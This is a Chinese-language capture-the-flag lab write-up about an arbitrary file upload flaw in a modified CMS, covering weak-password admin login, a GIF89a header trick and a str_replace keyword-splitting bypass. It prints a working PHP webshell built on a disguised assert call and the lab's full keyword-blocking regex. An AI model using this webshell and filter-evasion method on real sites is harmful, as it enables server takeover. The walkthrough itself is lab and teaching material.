一、 靶场考核点
靶场说明:魔改后的cms
漏洞类型:任意文件上传
难点:合适的文件头部,文件内容需要绕过正则拦截
二、 靶场复现
1、 弱口令进入后台 admin/admin
http://192.168.93.225:84/?m=admin
2、选择文件上传
3、上传jpg后缀的文件
4、提示非法图像文件,初步怀疑会检测文件头,添加GIF89a
5、还是提示非法图像文件,尝试上传正常的图片,发现可以上传
6、猜测是否会检测文件内容,尝试上传未带有关键字的文件内容,发现上传成功
7、由此可见,该应用会检测文件内容是否带有关键字段,先查看是否能上传php文件,且是否能解析php代码
8、绕过关键字拦截进行上传
GIF89a
$a = str_replace("b", "", "phpbinfob");
$a();
?>
9、访问
10、ctrl+f 搜索flag
11、上传webshell
GIF89a
$a = str_replace("b", "", "absbsbebrbt");
$a($_POST['csb666']);
?>
12、连接webshell
三、 漏洞分析
1、根据关键字定位业务关键代码
2、其中/app/admin/controller/upload.php为后台上传相关代码,通读代码发现此文件跟漏洞关联性不大
/app/lib/class/sdcms_upload.php为文件上传相关代码,定义了白名单
3、这里将 php 添加进了白名单
请求中的type参数决定了是图片文件,还是视频文件,或者是附件文件
(这里我修改了 type =1 type=3,方便在上传图片、附件进行测试)
如果上传文件的后缀名,不在白名单里的话,会提示文件类型错误
4、单纯的在这里加了白名单,那么任意的php文件都可以上传,显得有点简单,因此继续往下面看代码
如果在这个if语句这里添加 “.php”,那么上传的php文件进入到这个判断里来
5、这个判断语句中的check_bad 函数会检测上传的文件是否合法
6、全局搜索check_bad 函数,发现正则匹配来拦截关键字
$num=preg_match_all("/(phpinfo|pack\(|str_rot13|system\(|eval\(|request\(|execute\(|file_put_contents|file_get_contents|exec\(|chroot\(|scandir\(|chgrp\(|chown\(|proc_open\(|popen\(|putenv\(|proc_get_status|error_log\(|ini_alter\(|ini_set\(|ini_restore\(|dll\(|pfsockopen\(|syslog\(|readlink\(|symlink\(|stream_socket_server|preg_replace\(|delfolder\(|unlink\(|mkdir\(|fopen\(|fread\(|fwrite\(|fputs\(|tmpfile\(|flock\(|load_file\(|outfile\(|chmod\(|delete\(|payload\(|assert\(|cmdshell\(|wshshell\(|_post\(|_get\(|_file\(|create_function|call_user_func|passthru\(|array_walk|getenv\(|register_|escapeshellcmd\(|rmdir\(|rename\(|readfile\(|session_|array_filter|array_flip|array_merge|shell_|parse_str|glob\(|import_|get_defined_|get_included_)/Ui",str_replace(["'.'","\".\""],"",$str),$match);
7、既然知道了拦截规则,那么现在就来绕过。由上可知,该函数基本上拦截常见的关键字(eg: phpinfo),但是规则是死的,人是活的,只要将关键字进行拆分、隔开等就可以实现绕过。
这里用的是str_replace 函数(替换字符串)从一串字符中提出关键字
如:
Phpinfo()
$a = str_replace("b", "", "phpbinfob");
$a();
?>
//将b替换为空 phpbinfob ---> phpinfo
Webshell
$a = str_replace("b", "", "absbsbebrbt");
$a($_POST['csb666']);
?>
// absbsbebrbt ---> assert
8、上传webhsell